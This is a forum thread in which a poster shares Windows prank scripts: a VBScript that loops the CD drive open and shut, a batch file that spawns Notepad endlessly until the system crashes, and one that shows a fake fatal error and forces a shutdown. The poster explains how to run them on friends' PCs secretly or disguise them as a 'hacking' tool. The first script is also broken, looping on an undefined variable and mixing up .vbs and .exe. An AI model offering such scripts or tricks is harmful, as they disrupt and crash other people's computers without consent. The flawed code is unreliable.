VBS Scripts

[Tracky]

Hey guys. I just remember back when I started to do things with pc.. A friend showed me some cool tricks with VBS Scripts. They're not that difficult to make but they are worth to send a friend

So I remember back of a cool Script that opens / closes your Cdrom Drive as often as you want it to.
Just upload this file on a friends PC and when he is on toilet or something like this just open the file and put in 9999999 in the field
And when he comes back just say " Woot. Your PC is fucked up o_O "
The next thing you could do is, just say your friend this file is for I don't know.. hacking or whatever he could believe. And say him a long number as a code he has to enter. Before you send him the file, you should change the first lines in the code to something else. So your friend won't notice what will happen that fast..

So heres the " Code " for this file..

HowOften = Inputbox("How often should it become opened and closed ?")
Set oWMP = CreateObject("WMPlayer.OCX" )
Set colCDROMs = oWMP.cdromCollection

For x=0 to WieOft
'open
If colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If

Wscript.Sleep 100
'close
If colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Next

Just open Editor / Notepad, copy&paste this code into it and save it as ENTERHERETHENAME.vbs!


When you click on ENTERHERETHENAME.exe a windows will appear where you have to put in a number.
This number contains how OFTEN your Cdrom Drive will open / close.
Notice: Sometimes it opens/closes more often than you typed in. I don't know why..

Use this on your own risk. I got no damage so far.
__________________________________________________ __________________________________________________ __________

Okay. Here's another " version " of the code. I just asked a good friend and he made me remember the old " code "

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

-> You have to do exactly the same like with the other code. Just read through it
__________________________________________________ __________________________________________________ __________

This one will open notepad endless, until your PC crashed because he's not good enough
I think this will pwn every PC.. Just needs some more time sometimes

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

And here you have to do exactly the same aswell..
__________________________________________________ __________________________________________________ __________

This one will close the PC within 10 seconds. You can change the number to change the time ( in seconds )
Remember not to open them yourself

@echo off
msg * Fatal System Error! You should reinstall your Windows within the next start!
shutdown -c "Error! Take care of your PC!" -s -t 10

__________________________________________________ __________________________________________________ __________

I hope you enjoy it. When you got some more Scripts, just PM me and I'll include them here with credits to you!
Best regards, Tracky.

[mr_ice]

Wow knew about restart but didn't know with cd thing very nice.

[Flying Panda]

Yup,pretty nice scripts.Thanks.

[Serverman]

Seen this a million times
tho

[kwoxer]

nice tracky, cool scripts

[Tracky]

Thank y'all
And notice, when you got some more Scripts you want to add, just feel free to PM me so we can make 1 BIG Thread instead of 10000 millions posts Thread

[NoDenial]

I remember a VBS script that keeps repeating the words you type in

Anyone know how to do it again?

Sorry for bumping the thread,just wanted to know how to make the VBS script that keeps repeating the words.